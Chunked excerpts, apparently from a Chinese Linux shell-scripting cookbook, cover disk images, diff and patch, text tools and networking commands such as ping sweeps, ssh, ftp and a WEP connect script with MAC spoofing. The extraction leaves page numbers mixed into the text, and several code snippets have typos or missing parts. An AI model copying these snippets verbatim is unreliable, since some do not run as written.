    {"text": "使用下面的方法对文件（内容全部填充为0）进行分区： 11 # losetup /dev/loop1 loopback.img # fdisk /dev/loop1 12 fdisk 是 Linux 系 统 中 的 标 准 分 区 工 具 ， 在 http://www.tldp.org/HOWTO/ Partition/fdisk_partitoning.html处可以找到一份有关如何使用fdisk创建分区的 简明教程（记得将教程中的/dev/hdb换成/dev/loop1）。 14 112 第 3 章 以文件之名 在loopback.img中创建分区并挂载第一个分区： # losetup -o 32256 /dev/loop2 loopback.img /dev/loop2表示第一个分区，-o用来指定偏移量，在DOS分区方案①中，这个偏移量是32256。"},
    {"text": "该命令默认并 没有安装在系统中，你得使用软件包管理器来安装： # kpartx -v -a diskimage.img add map loop0p1 (252:0): 0 114688 linear /dev/loop0 8192 add map loop0p2 (252:1): 0 15628288 linear /dev/loop0 122880 这条命令在磁盘镜像的分区与/dev/mapper中的设备之间建立了映射，随后便可以挂载这些设备 了。 下列命令可以用来挂载第一个分区： # mount /dev/mapper/loop0p1 /mnt/disk1 当你完成设备上的操作后（并使用umount卸载所有挂载过的分区），使用下列命令移除映射 关系： # kpartx -d diskimage.img loop deleted : /dev/loop0 3. 将ISO文件作为环回文件挂载 ISO文件是光学存储介质的归档。"},
    {"text": "我们可以用sync命令强制立刻写入更改： 2 $ sync 3.11 生成 ISO 及混合型 ISO 文件 3 ISO镜像是一种存档格式，它存储了如CD-ROM、DVD-ROM等光盘的精准镜像。"},
    {"text": "5 我们需要区分可引导光盘与不可引导光盘。 可引导光盘自身具备引导能力，也可以运行操作 系统或其他软件。 系统安装盘和Live系统（如Knoppix和Puppy）都属于可引导光盘。"},
    {"text": "12 3.11.2 实战演练 14 用下面的命令从/dev/cdrom创建一个ISO镜像： 114 第 3 章 以文件之名 # cat /dev/cdrom > image.iso 尽管可以奏效，但创建ISO镜像最好的方法还是使用dd命令： # dd if=/dev/cdrom of=image.iso mkisofs命令可以创建ISO镜像文件。"},
    {"text": "我们需要将所有文件放入同一个目录中，然后用mkisofs命令将 整个目录中的内容写入ISO文件： $ mkisofs -V \"Label\" -o image.iso source_dir/ 其中选项-o指定了ISO文件的路径。"},
    {"text": "下面的命令能够制作出可引导的ISO文件： # isohybrid image.iso 这个混合型ISO文件可用于写入USB存储设备。 将该ISO写入USB存储设备： # dd if=image.iso of=/dev/sdb1 你可以用相应的设备代替/dev/sdb1，或者使用cat命令： # cat image.iso >> /dev/sdb1 2. 用命令行刻录ISO cdrecord命令可以将ISO文件刻入CD-ROM或DVD-ROM。 使用下列命令刻录CD-ROM： 3.12 查找并修补文件差异 115 # cdrecord -v dev=/dev/cdrom image.iso 1 还有一些其他的选项，如下所示。  使用-speed选项指定刻录速度： 2 -speed SPEED 例如： 3 # cdrecord -v dev=/dev/cdrom image.iso -speed 8 参数8表明其刻录速度为8x。"},
    {"text": "4  刻录CD-ROM时也可以采用多区段（multi-session）方式，这样就能在一张光盘上分多次 刻录数据。 多区段刻录需要使用-multi选项： # cdrecord -v dev=/dev/cdrom image.iso -multi 5 3. 玩转CD-ROM托盘 如果你用的是桌面电脑，不妨试试下面的命令来找点乐子。"},
    {"text": "9 3.12 查找并修补文件差异 10 当文件存在多个版本时，如果能够重点标记出这些版本之间的不同而无须通过人工查看来比 较，那就简直是太棒了。"},
    {"text": "文件 1：version1.txt this is the original text line2 line3 line4 happy hacking ! 文件 2：version2.txt this is the original text line2 line4 happy hacking ! GNU is not UNIX (2) 非一体化（nonunified）形式的diff输出（不使用-u选项）如下： $ diff version1.txt version2.txt 3d2 <line3 6c5 > GNU is not UNIX (3) 一体化形式的diff输出如下： $ diff -u version1.txt version2.txt --- version1.txt 2010-06-27 10:26:54.384884455 +0530 +++ version2.txt 2010-06-27 10:27:28.782140889 +0530 @@ -1,5 +1,5 @@ this is the original text line2 -line3 line4 happy hacking ! - +GNU is not UNIX 选项-u用于生成一体化输出。"},
    {"text": "(4) 修补文件可以通过将diff的输出重定向到一个文件来生成： $ diff -u version1.txt version2.txt > version.patch 现在就可以用patch命令将变更应用于其中任意一个文件。"},
    {"text": "3.13 使用 head 与 tail 打印文件的前 10 行和后 10 行 117 (5) 用下列命令来进行修补： 1 $ patch -p1 version1.txt < version.patch patching file version1.txt version1.txt 2 的内容现在和version 2.txt一模一样了。"},
    {"text": "(6) 下列命令可以撤销作出的变更： $ patch -p1 version1.txt < version.patch 3 patching file version1.txt Reversed (or previously applied) patch detected! Assume -R? [n] y # 变更被撤销 4 如上例所示，对已修补过的文件再修补将撤销作出的变更。"},
    {"text": "(4) 打印除了最后 M 行之外所有的行： $ head -n -M file 注意，这里的-M表示的是负数，并非选项。 例如，用下面的命令可以打印出除最后5行之外的所有行： $ seq 11 | head -n -5 1 2 3 4 5 6 而下面的命令会打印出文件的第1行至第5行： $ seq 100 | head -n 5 (5) 打印除最后几行之外的其他行是head的一种常见用法。"},
    {"text": "(6) 打印文件的最后10行： $ tail file (7) 从stdin中读取输入： $ cat text | tail 3.13 使用 head 与 tail 打印文件的前 10 行和后 10 行 119 (8) 打印最后5行： 1 $ tail -n 5 file (9) 打印除了前 M 行之外所有的行： 2 $ tail -n +(M+1) 例如，打印除前5行之外的所有行，M+1=6，因此使用下列命令： 3 $ seq 100 | tail -n +6 这条命令将打印出第6行至第100行。"},
    {"text": "4 tail命令的一个常见用法是监视一个内容不断增加的文件（例如系统日志文件）中出现的 新行。 因为新增加的行都是出现在文件的尾部，可以在其被写入的时候，使用tail将这些行显 示出来。 为了能够监视文件的增长，tail有一个特殊的选项-f或--follow，允许tail关注文 5 件内容的更新并将其显示出来： $ tail -f growing_file 你可能希望将该命令用于日志文件。 监视文件内容增加的命令如下： 6 # tail -f /var/log/messages 或者 7 $ dmesg | tail -f dmesg可以查看内核的环形缓冲区消息。"},
    {"text": "12 (2) 现在运行下列命令： $ PID=$(pidof gedit) $ tail -f file.txt --pid $PID 14 120 第 3 章 以文件之名 (3) 向文件添加新行并不断地保存文件。"},
    {"text": "3.14 只列出目录的各种方法 用脚本只列出目录不是件容易事。 这则攻略介绍了多种只列出目录的方法。 3.14.1 预备知识 有很多种方法可以只列出目录。"},
    {"text": "(1) 使用ls -d： $ ls -d */ (2) 使用grep结合ls -F： $ ls -F | grep \"/$\" (3) 使用grep结合ls -l： $ ls -l | grep \"^d\" (4) 使用find： $ find . -type d -maxdepth 1 -print 3.14.3 工作原理 当使用ls的-F选项时，所有的输出项后面都会多出一个代表文件类型的字符，如@、*、| 等。"},
    {"text": "3.15 在命令行中使用 pushd 和 popd 实现快速定位 121 3.15 在命令行中使用 pushd 和 popd 实现快速定位 1 如果需要在文件系统的多个位置上切换时，惯常的实践就是复制并粘贴路径，然后使用cd 命令。"},
    {"text": "(1) 压入并切换路径： 6 ~ $ pushd /var/www 现在栈中包含/var/www ~，当前目录为 /var/www。 7 (2) 再压入下一个目录路径： /var/www $ pushd /usr/src 8 现在栈中包含/usr/src /var/www ~，当前目录为/usr/src。"},
    {"text": "9 (3) 查看栈的内容： $ dirs /usr/src /var/www ~ /usr/share /etc 0 1 2 3 4 10 (4) 当你想切换到栈中任意一个路径时，将每条路径从0编号到 n ，然后使用你希望切换到的 路径编号。"},
    {"text": "(5) 删除最近压入的路径并切换到下一个目录： 14 $ popd 122 第 3 章 以文件之名 假设现在栈包含/usr/src /var/www ~ /usr/share /etc，当前目录是 /usr/src，popd会将栈更 改为/var/www ~ /usr/share /etc，然后把当前目录切换至/var/www。"},
    {"text": "假设当前路径是 /var/www，执行下面的命令： /var/www $ cd /usr/src /usr/src $ # 做点什么 现在要切换回 /var/www，不需要再输入/var/www了，只执行： /usr/src $ cd - 你还可以再切换到 /usr/src： /var/www $ cd - 3.16 统计文件的行数、单词数和字符数 我们经常需要统计文件的行数、单词数和字符数。"},
    {"text": "wc是一个用于统计行、单词和字符数量的实用工具。 它是Word Count（单词计数）的缩写。 实战演练 wc支持多种选项来统计行数、单词数和字符数。"},
    {"text": "(1) 统计行数： $ wc -l file 3.17 打印目录树 123 (2) 如果需要将stdin作为输入，使用下列命令： 1 $ cat file | wc -l (3) 统计单词数： 2 $ wc -w file $ cat file | wc -w (4) 统计字符数： 3 $ wc -c file $ cat file | wc -c 4 我们可以按照下面的方法统计文本中的字符数： echo -n 1234 | wc -c 4 5 -n用于避免echo添加额外的换行符。 (5) 不使用任何选项时，wc会打印出行、单词和字符的数量： 6 $ wc file 1435 15763 112200 这些分别是文件的行数、单词数和字符数。 7 (6) 使用-L选项打印出文件中最长一行的长度： $ wc file -L 8 205 3.17 打印目录树 9 将目录和文件系统以图形化的树状层次结构描述会使其更为形象。"},
    {"text": "12 3.17.2 实战演练 下面是树状Unix文件系统的一个示例： 14 124 第 3 章 以文件之名 $ tree ~/unixfs unixfs/ |-- bin | |-- cat | `-- ls |-- etc | `-- passwd |-- home | |-- pactpub | | |-- automate.sh | | `-- schedule | `-- slynux |-- opt |-- tmp `-- usr 8 directories, 5 files tree命令支持多种选项。"},
    {"text": " -P选项可以只显示出匹配指定模式的文件： $ tree path -P PATTERN # 使用通配符描述模式并将其放入单引号中 例如： $ tree PATH -P ’*.sh’ # 使用目录路径替换 PATH |-- home | |-- packtpub | | `-- automate.sh  -I选项可以只显示出不匹配指定模式的文件： $ tree path -I PATTERN  -h选项可以同时打印出文件和目录的大小： $ tree -h 3.17.3 补充内容 tree命令还可以在终端中生成HTML输出。 生成HTML形式的目录树 用下面的命令可以生成一个包含目录树输出的HTML文件： $ tree PATH -H http://localhost -o out.html 将http://localhost替换为适合存放输出文件的URL。"},
    {"text": "3.18.2 实战演练 下面的命令能够将mp4视频文件（FILE.mp4）中的音频部分提取成mp3文件（OUTPUTFILE. mp3）： ffmpeg -i FILE.mp4 -acodec libmp3lame OUTPUTFILE.mp3 1. 使用一组静态图像制作视频 很多数码相机都支持间隔拍照。"},
    {"text": "(1) 实战演练 这个脚本可以接受一组图片，然后从中生成一段MPEG视频： $ cat stills2mpg.sh echo $* | tr ' ' '\\n' >files.txt mencoder mf://@files.txt -mf fps=24 -ovc lavc \\ -lavcopts vcodec=msmpeg4v2 -noskip -o movie.mpg 将上面的命令复制/粘贴到一个文件中，将文件命名为stills2mpg.sh，设置可执行权限，然后 按照下列形式调用： ./stills2mpg.sh file1.jpg file2.jpg file3.jpg ... 或者 ./stills2mpg.sh *.jpg (2) 工作原理 mencoder命令要求输入文件采用固定的格式，一行只能有一个图像文件名。"},
    {"text": "2. 使用静态照片生成平移视频 3 如果你打算制作自己的视频，可能会想对视频中的某些风景采用平移镜头。 大多数相机都可 以录制视频，但如果你只有一张静态照片，依然可以制作平移视频。"},
    {"text": "你可以使用convert提取大尺寸 照片中的某些部分，然后使用mencoder将其拼合在一起，形成平移镜头： 5 $> makePan.sh # 调用方法： # sh makePan.sh OriginalImage.jpg prefix width height xoffset yoffset 6 # 清除旧数据 rm -f tmpFiles # 创建 200 张静态图片，每次移动 xoffset 和 yoffset 个像素 for o in `seq 1 200` do 7 x=$[ $o+$5 ] convert -extract $3x$4+$x+$6 $1 $2_$x.jpg echo $2_$x.jpg >> tmpFiles done 8 # 将图片拼合成 mpg 视频文件 mencoder mf://@tmpFiles -mf fps=30 -ovc lavc -lavcopts \\ vcodec=msmpeg4v2 -noskip -o $2.mpg 9 (2) 工作原理 这个脚本比我们之前见过的脚本都要复杂。"},
    {"text": "12 14 128 第 4 章 让文本飞 第 4 章 让文本飞 本章内容  使用正则表达式  打印文件或行中的第 n 个单词或列  使用grep在文件中搜索文本  打印指定行或模式之间的文本  使用cut按列切分文件  以逆序形式打印行  使用sed替换文本  解析文本中的电子邮件地址和URL  使用awk进行高级文本处理  删除文件中包含特定单词的句子  统计特定文件中的词频  对目录中的所有文件进行文本替换  压缩或解压缩JavaScript  文本切片与参数操作  按列合并多个文件 4.1 简介 shell脚本语言包含了众多用于解决Unix/Linux系统问题的工具，其中有不少和文本处理相关， 包括sed、awk、grep和cut，这些工具可以相互结合以满足文本处理需求。"},
    {"text": "6 表 4-1 正则表达式 描 述 示 例 7 ^ 指定了匹配正则表达式的文本必须起始于字符串的首部 ^tux 能够匹配以tux起始的行 $ 指定了匹配正则表达式的文本必须结束于目标字符串的尾部 tux$能够匹配以tux结尾的行 2. 标识符 8 标识符是正则表达式的基础组成部分。"},
    {"text": "9 表 4-2 正则表达式 描 述 示 例 A字符 正则表达式必须匹配该字符 A能够匹配字符A 10 . 匹配任意一个字符 Hack.能够匹配Hackl和Hacki，但是不能匹配Hackl2或 Hackil，它只能匹配单个字符 [] 匹配中括号内的任意一个字符。"},
    {"text": "在这则攻略中会涉及如下命令：ifconfig、route、nslookup和host。 ifconfig命令用于配置及显示网络接口、子网掩码等细节信息。 它通常位于/sbin/ifconfig中。"},
    {"text": "8.2.2 实战演练 (1) 列出当前的网络接口配置： $ ifconfig lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:6078 errors:0 dropped:0 overruns:0 frame:0 TX packets:6078 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:634520 (634.5 KB) TX bytes:634520 (634.5 KB) wlan0 Link encap:EthernetHWaddr 00:1c:bf:87:25:d2 inet addr:192.168.0.82 Bcast:192.168.3.255 Mask:255.255.252.0 inet6addr: fe80::21c:bfff:fe87:25d2/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:420917 errors:0 dropped:0 overruns:0 frame:0 TX packets:86820 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:98027420 (98.0 MB) TX bytes:22602672 (22.6 MB) ifconfig输出的最左边一列是网络接口名，右边的若干列显示对应的网络接口的详细 信息。 (2) 设置网络接口的IP地址： # ifconfig wlan0 192.168.0.80 8.2 网络设置 237 你需要以root身份运行上述命令。"},
    {"text": "1 使用以下命令设置此IP地址的子网掩码： # ifconfig wlan0 192.168.0.80 netmask 255.255.252.0 2 (3) 很多网络使用动态主机配置协议（DHCP）自动为连接到网络上的计算机分配IP地址。"},
    {"text": "1. 打印网络接口列表 6 这个单行命令可以打印系统可用的网络接口列表： $ ifconfig | cut -c-10 | tr -d ' ' | tr -s '\\n' lo 7 wlan0 ifconfig输出的每行前10个字符被保留用于网络接口名称。"},
    {"text": "2. 显示IP地址 9 ifconfig会显示系统中所有活动网络接口的详细信息。 不过，我们可以限制它只显示某个 特定接口的信息： 10 $ ifconfig iface_name 例如： $ ifconfig wlan0 11 wlan0 Link encap:EthernetHWaddr 00:1c:bf:87:25:d2 inet addr:192.168.0.82 Bcast:192.168.3.255 Mask:255.255.252.0 inet6 addr: fe80::3a2c:4aff:6e6e:17a9/64 Scope:Link UP BROADCAST RUNNINT MULTICAST MTU:1500 Metric:1 12 RX Packets... 要想控制某台网络设备，我们需要IP地址、广播地址、硬件地址和子网掩码：  HWaddr 00:1c:bf:87:25:d2是硬件地址（MAC地址）；"},
    {"text": "要从ifconfig输出中提取IP地址，可以使用： $ ifconfig wlan0 | egrep -o \"inetaddr:[^ ]*\" | grep -o \"[0-9.]*\" 192.168.0.82 egrep -o \"inetaddr:[^ ]*\" 会打印出inet addr:192.168.0.82。"},
    {"text": "硬件地址在ifconfig输出中是以HWaddr 00:1c:bf:87:25:d2形式出现的。 ifconfig的子命令可以定义设备类别以及MAC地址： # ifconfig eth0 hw ether 00:1c:bf:87:25:d5 在上面的命令中，00:1c:bf:87:25:d5是分配的新MAC地址。"},
    {"text": "例如， www.packpub.com就是一个域名，它对应着一个IP地址。 在浏览器中输入IP地址或域名都可以访 问到该站点。 将IP地址映射为符号名称的这种技术称为域名服务（DNS）。 当我们输入www.google.com， 计算机使用DNS服务器将域名解析为对应的IP地址。 在本地网络中，我们可以设置本地DNS为本 地主机命名。 名字服务器是在文件 /etc/resolv.conf中定义的： $ cat /etc/resolv.conf # Local nameserver nameserver 192.168.1.1 # External nameserver nameserver 8.8.8.8 8.2 网络设置 239 我们可以编辑该文件来手动添加名字服务器或是使用下面的命令： 1 # sudo echo nameserver IP_ADDRESS >> /etc/resolv.conf 获取域名所对应IP地址的最简单方法就是用ping命令访问指定的域名。"},
    {"text": "6 host命令会列出某个域名所有的IP地址： $ host google.com google.com has address 64.233.181.105 google.com has address 64.233.181.99 7 google.com has address 64.233.181.147 google.com has address 64.233.181.106 google.com has address 64.233.181.103 google.com has address 64.233.181.104 8 nslookup命令可以完成名字与IP地址之间的相互映射： $ nslookup google.com 9 Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: 10 Name: google.com Address: 64.233.181.105 Name: google.com Address: 64.233.181.99 Name: google.com 11 Address: 64.233.181.147 Name: google.com Address: 64.233.181.106 Name: google.com 12 Address: 64.233.181.103 Name: google.com Address: 64.233.181.104 14 Server: 8.8.8.8 240 第 8 章 无网不利 上面最后一行对应着用于DNS解析的默认名字服务器。"},
    {"text": "/etc/hosts文件格式如下： IP_ADDRESS name1 name2 ... 用下面的方法更新该文件： # echo IP_ADDRESS symbolic_name >> /etc/hosts 例如： # echo 192.168.0.9 backupserver >> /etc/hosts 添加了条目之后，任何时候解析backupserver，都会返回192.168.0.9。 如果backupserver有多个名字，将其全部写入同一行中： # echo 192.168.0.9 backupserver backupserver.example.com >> /etc/hosts 6. 显示路由表信息 多个网络相互连接是很常见的场景。"},
    {"text": "如果一个网络中的设备想同另一个网络中的设备通信，就需要借助某个同时连接了两个网络 的设备发送分组。 这个特殊的设备叫作网关，它的作用是在不同的网络中转发分组。"},
    {"text": "route命令可以显 示路由表： $ route Kernel IP routing table Destination Gateway GenmaskFlags Metric Ref UseIface 192.168.0.0 * 255.255.252.0 U 2 0 0wlan0 link-local * 255.255.0.0 U 1000 0 0wlan0 default p4.local 0.0.0.0 UG 0 0 0wlan0 也可以使用 $ route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref UseIface 192.168.0.0 0.0.0.0 255.255.252.0 U 2 0 0 wlan0 169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 wlan0 0.0.0.0 192.168.0.4 0.0.0.0 UG 0 0 0 wlan0 -n指定以数字形式显示地址。"},
    {"text": "1 route add命令可以添加默认网关： # route add default gw IP_ADDRESS INTERFACE_NAME 2 例如： # route add default gw 192.168.0.1 wlan0 3 8.2.4 参考 4  1.3节讲解了PATH变量。"},
    {"text": "ping是一个基础的网络命令，所有主流操作系统都支持该命令。 ping可用于检验网络上主 6 机之间的连通性，找出活动主机。 8.3.1 实战演练 7 ping命令使用Internet控制消息协议（Internet Control Message Protocol，ICMP）中的echo分 组检验网络上两台主机之间的连通性。"},
    {"text": "如果没有通往目标主机的路由或是目标 主机不知道如何将回应返回给请求方，ping命令则执行失败。 9 检查某台主机是否可达： $ ping ADDRESS 10 ADDRESS可以是主机名、域名或者IP地址。"},
    {"text": " 如果主机可达，那么会输出如下信息： 12 $ ping 192.168.0.1 PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. 64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=1.44 ms 14 ^C 242 第 8 章 无网不利 --- 192.168.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 1.440/1.440/1.440/0.000 ms $ ping google.com PING google.com (209.85.153.104) 56(84) bytes of data. 64 bytes from bom01s01-in-f104.1e100.net (209.85.153.104): icmp_seq=1 ttl=53 time=123 ms ^C --- google.com ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 123.388/123.388/123.388/0.000 ms  如果主机不可达，则输出如下信息： $ ping 192.168.0.99 PING 192.168.0.99 (192.168.0.99) 56(84) bytes of data. From 192.168.0.82 icmp_seq=1 Destination Host Unreachable From 192.168.0.82 icmp_seq=2 Destination Host Unreachable 在主机不可达时，ping返回错误信息Destination Host Unreachable。"},
    {"text": "在Internet上，RTT通常在10ms到400ms之间，有可能还会 超过1000ms： --- google.com ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 4000ms rtt min/avg/max/mdev = 118.012/206.630/347.186/77.713 ms 其中，最小的RTT是118.012ms，平均RTT是206.630ms，最大的RTT是347.186ms。"},
    {"text": "243 $> ping example.com 1 64 bytes from example.com (1.2.3.4): icmp_seq=1 ttl=37 time=127.2 ms 64 bytes from example.com (1.2.3.4): icmp_seq=3 ttl=37 time=150.2 ms 64 bytes from example.com (1.2.3.4): icmp_seq=2 ttl=30 time=1500.3 ms 在这个例子中，第二个分组被丢弃了，超时之后又进行了重发，因此在返回的时候出现了乱序， 2 RTT时间也更长。"},
    {"text": "依据你所使用的系统或ping命令版本的不同，生存时间（Time To Live，TTL）的初 始值也不尽相同。 你可以通过向环回接口发起ping命令来确定TTL的初始值： $> ping 127.0.0.1 5 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.049 ms $> ping www.google.com 64 bytes from 173.194.68.99: icmp_seq=1 ttl=45 time=49.4 ms 在本例中，我们向环回地址发起ping命令，以此决定TTL的值。"},
    {"text": "用法如下： 9 -c COUNT 例如： $ ping 192.168.0.1 -c 2 10 PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. 64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=4.02 ms 64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=1.03 ms 11 --- 192.168.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 1.039/2.533/4.028/1.495 ms 12 在上面的例子中，ping命令发送了两个echo分组后就停止发送。"},
    {"text": "返回状态可以通过下面的方法获得： $ ping domain -c2 if [ $? -eq0 ]; then echo Successful ; else echo Failure fi 8.4 跟踪 IP 路由 当应用程序通过Internet请求服务时，服务器可能位于远端，两者之间通过多个网关或路由器 相连。"},
    {"text": "$ traceroute google.com traceroute to google.com (74.125.77.104), 30 hops max, 60 byte packets 1 gw-c6509.lxb.as5577.net (195.26.4.1) 0.313 ms 0.371 ms 0.457 ms 2 40g.lxb-fra.as5577.net (83.243.12.2) 4.684 ms 4.754 ms 4.823 ms 3 de-cix10.net.google.com (80.81.192.108) 5.312 ms 5.348 ms 5.327 ms 4 209.85.255.170 (209.85.255.170) 5.816 ms 5.791 ms 209.85.255.172 (209.85.255.172) 5.678 ms 5 209.85.250.140 (209.85.250.140) 10.126 ms 9.867 ms 10.754 ms 6 64.233.175.246 (64.233.175.246) 12.940 ms 72.14.233.114 (72.14.233.114) 13.736 ms 13.803 ms 7 72.14.239.199 (72.14.239.199) 14.618 ms 209.85.255.166 (209.85.255.166) 12.755 ms 209.85.255.143 (209.85.255.143) 13.803 ms 8 209.85.255.98 (209.85.255.98) 22.625 ms 209.85.255.110 (209.85.255.110) 14.122 ms * 9 ew-in-f104.1e100.net (74.125.77.104) 13.061 ms 13.256 ms 13.484 ms 8.5 列出网络中所有的活动主机 245 如今的Linux发布版中还包括了一个命令mtr，它类似于traceroute，但是 1 能够显示实时刷新的数据。"},
    {"text": "6 8.5.2 实战演练 下面的脚本使用ping命令找出网络上所有的活动主机： 7 #!/bin/bash # 文件名 : ping.sh # 根据你所在网络的实际情况修改网络地址 192.168.0 8 for ip in 192.168.0.{1..255} ; do ping $ip -c 2 &> /dev/null ; 9 if [ $? -eq 0 ]; then echo $ip is alive fi 10 done 输出如下： $ ./ping.sh 11 192.168.0.1 is alive 192.168.0.90 is alive 12 8.5.3 工作原理 在这个脚本中，我们用ping命令找出网络上的活动主机。"},
    {"text": "for ip in 192.168.0.{1..255} ; do ( ping $ip -c2 &> /dev/null ; if [ $? -eq 0 ]; then echo $ip is alive fi )& done wait 在for循环体中执行了多个后台进程，然后结束循环并终止脚本。"},
    {"text": "$ fping -a 192.160.1/24 -g 4 或者 $ fping -a 192.160.1 192.168.0.255 -g 5  2>/dev/null用于将由于主机不可达所产生的错误信息输出到null设备。"},
    {"text": "6 例如： $ fping -a 192.168.0.1 192.168.0.5 192.168.0.6 # 将 IP 地址作为参数传递 7 $ fping -a < ip.list # 从文件中传递一组 IP 地址 8 8.5.5 参考  1.6节讲解了数据重定向。"},
    {"text": "例如： $ ssh mec@192.168.0.1 The authenticity of host '192.168.0.1 (192.168.0.1)' can't be established. RSA key fingerprint is 2b:b4:90:79:49:0a:f1:b3:8a:db:9f:73:2d:75:d6:f9. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.0.1' (RSA) to the list of known hosts. Password: Last login: Fri Sep 3 05:15:21 2010 from 192.168.0.82 mec@proxy-1:~$ SSH会询问用户密码，一旦认证成功，就会连接到远程主机上的登录shell。"},
    {"text": "(2) 连接运行在端口422之上的SSH服务器： $ ssh user@locahost -p 422 在shell脚本中使用ssh时，并不需要交互式shell，因为我们只是需要在远程系统中执行命 令并处理命令输出。"},
    {"text": "(3) 要想在远程主机中执行命令，在本地shell中显示命令输出，可以这样做： $ ssh user@host 'COMMANDS' 8.6 使用 SSH 在远程主机上执行命令 249 例如： 1 $ ssh mec@192.168.0.1 'whoami' mec 2 可以输入多条命令，命令之间用分号分隔： $ ssh user@host \"command1 ; command2 ; command3\" 例如： 3 $ ssh mec@192.168.0.1 \"echo user: $(whoami);echo OS: $(uname)\" Password: user: mec 4 OS: Linux 在这个例子中，在远程主机上执行的命令是： 5 echo user: $(whoami); echo OS: $(uname) 我们也可以在命令序列中用子shell操作符()传递更为复杂的子shell。"},
    {"text": "#!/bin/bash # 文件名 : uptime.sh 8 # 用途 : 系统运行时间监视器 IP_LIST=\"192.168.0.1 192.168.0.5 192.168.0.9\" USER=\"test\" 9 for IP in $IP_LIST; do utime=$(ssh ${USER}@${IP} uptime | awk '{ print $3 }' ) echo $IP uptime: $utime 10 done 输出如下： 11 $ ./uptime.sh 192.168.0.1 uptime: 1:50, 192.168.0.5 uptime: 2:15, 192.168.0.9 uptime: 10:15, 12 8.6.3 补充内容 14 让我们看看ssh命令的另一些选项。"},
    {"text": "用ssh命令的选项 -C启用这一功能： $ ssh -C user@hostname COMMANDS 2. 将数据重定向至远程shell命令的 stdin SSH允许你使用本地系统的命令输出作为远程系统的输入： $ echo 'text' | ssh user@remote_host 'echo' text 或者 # 重定向文件中的数据 $ ssh user@remote_host 'echo' < file 在远程主机上，echo打印出从stdin接收到的数据，但这些数据却是从本地主机传递到远程shell 的stdin中的。"},
    {"text": "这在第7章中有过详述： $> tar -czf - LOCALFOLDER | ssh 'tar -xzvf-' 8.7 在远程主机上执行图形化命令 如果你打算在远程主机上执行采用了图形化窗口的命令，就会碰上类似于cannot open display 之类的错误。"},
    {"text": "8.7.1 实战演练 要想在远程主机上运行图像化应用你需要设置变量$DISPLAY来强制应用程序连接到本地主 机上的X服务器： ssh user@host \"export DISPLAY=:0 ; command1; command2\"\"\" 这将启用远程主机上的图形化输出。 如果你想在本地主机上显示图形化输出，使用SSH的X11转发选项（forwarding option）： ssh -X user@host \"command1; command2\" 这样一来，在远程主机上所执行命令的图形化输出就会显示在本地主机上。"},
    {"text": "8 要连接FTP服务器传输文件，可以使用： $ lftpusername@ftphost 9 它会提示你输入密码，然后显示一个像下面这样的登录提示符： lftp username@ftphost:~> 10 你可以在提示符后输入各种命令，如下所示。"},
    {"text": "12 —————————— ① sneakernet是一个非正式的术语，指的是将数据通过存储设备（磁带、软盘、U盘、移动硬盘等）从一台计算机 14 带到另一台计算机来实现数据传递，而不是通过网络实现。"},
    {"text": "252 第 8 章 无网不利  get FILENAME：将文件下载到本地主机的当前目录中。 lftp username@ftphost:~> get filename  put filename：将文件从当前目录上传到远程主机。 lftp username@ftphost:~> put filename  quit命令可以退出lftp会话。"},
    {"text": "下面的脚本可以用来实现FTP自动传输： #!/bin/bash #FTP传输自动化 HOST=example.com' USER='foo' PASSWD='password' lftp -u ${USER}:${PASSWD} $HOST <<EOF binary cd /home/foo put testfile.jpg quit EOF 上面的脚本包含下列结构： <<EOF DATA EOF 这种结构用来通过stdin向lftp命令发送数据。"},
    {"text": "scp命令的格式如下： $ scp SOURCE DESTINATION 9 SOURCE或DESTINATION可以采用形如username@host:/path的格式： $ scp user@remotehost:/home/path/filename filename 10 上面的命令将远程主机中的文件复制到当前目录并使用给定的文件名。"},
    {"text": "11 5. 用 SCP 进行递归复制 scp的选项-r可以在两台网络主机间以递归形式复制目录： 12 $ scp -r /home/usernameuser@remotehost:/home/backups # 将目录 /home/username 递归复制到远程主机中 scp的选项-p能够在复制文件的同时保留文件的权限和模式。"},
    {"text": "8.9.2 实战演练 下面的脚本会连接到启用了WEP（Wried Equivalent Privacy，有线等效加密）的无线LAN： #!/bin/bash # 文件名 : wlan_connect.sh # 用途 : 连接无线 LAN # 根据你的设置修改下面的参数 ######### PARAMETERS ########### IFACE=wlan0 IP_ADDR=192.168.1.5 SUBNET_MASK=255.255.255.0 GW=192.168.1.1 HW_ADDR='00:1c:bf:87:25:d2' # 如果不想使用物理地址欺骗，把上面这一行注释掉 ESSID=\"homenet\" WEP_KEY=8b140b20e7 FREQ=2.462G ################################# KEY_PART=\"\" if [[ -n $WEP_KEY ]]; then KEY_PART=\"key $WEP_KEY\" fi if [ $UID -ne 0 ]; then echo \"Run as root\" exit 1; 8.9 连接无线网络 255 fi 1 # 设置新的配置之前先关闭接口 /sbin/ifconfig $IFACE down 2 if [[ -n $HW_ADDR ]]; then /sbin/ifconfig $IFACE hw ether $HW_ADDR echo Spoofed MAC ADDRESS to $HW_ADDR 3 fi /sbin/iwconfig $IFACE essid $ESSID $KEY_PART freq $FREQ 4 /sbin/ifconfig $IFACE $IP_ADDR netmask $SUBNET_MASK route add default gw $GW $IFACE echo Successfully configured $IFACE 5 8.9.3 工作原理 6 ifconfig、iwconfig和route命令必须以root用户身份运行，因此在脚本一开始要检查是 否为root用户。"},
